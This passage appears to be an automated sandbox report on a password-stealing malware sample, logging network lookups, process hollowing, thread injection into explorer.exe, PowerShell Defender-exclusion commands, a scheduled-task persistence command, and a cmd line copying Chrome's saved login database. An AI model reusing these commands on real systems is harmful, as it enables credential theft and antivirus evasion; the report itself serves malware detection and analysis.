Source: C:\Windows\explorer.exe	Domain query: www.saleschildcarriers.com
Source: C:\Windows\explorer.exe	Domain query: www.myccsmartmove.com
Source: C:\Windows\explorer.exe	Domain query: www.takealicense.com
Source: C:\Windows\explorer.exe	Network Connect: 86.38.202.187 80
Source: C:\Windows\explorer.exe	Domain query: www.dlafluid.com

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: 1330000

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe

Memory written: C:\Users\user\AppData\Roaming\hkkRsa.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Thread register set: target process: 3324			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3324

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hkkRsa.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hkkRsa.exe	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hkkRsa.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmpE41B.tmp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmp22F9.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process created: C:\Users\user\AppData\Roaming\hkkRsa.exe C:\Users\user\AppData\Roaming\hkkRsa.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

Source: explorer.exe, 0000000F.00000003.575314509.00000000086B2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.452267737.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.460990982.0000000005910000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000F.00000000.452267737.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: uProgram Manager*r
Source: explorer.exe, 0000000F.00000000.452267737.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000F.00000000.452267737.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000F.00000000.451928214.0000000000878000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanLoc*U

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
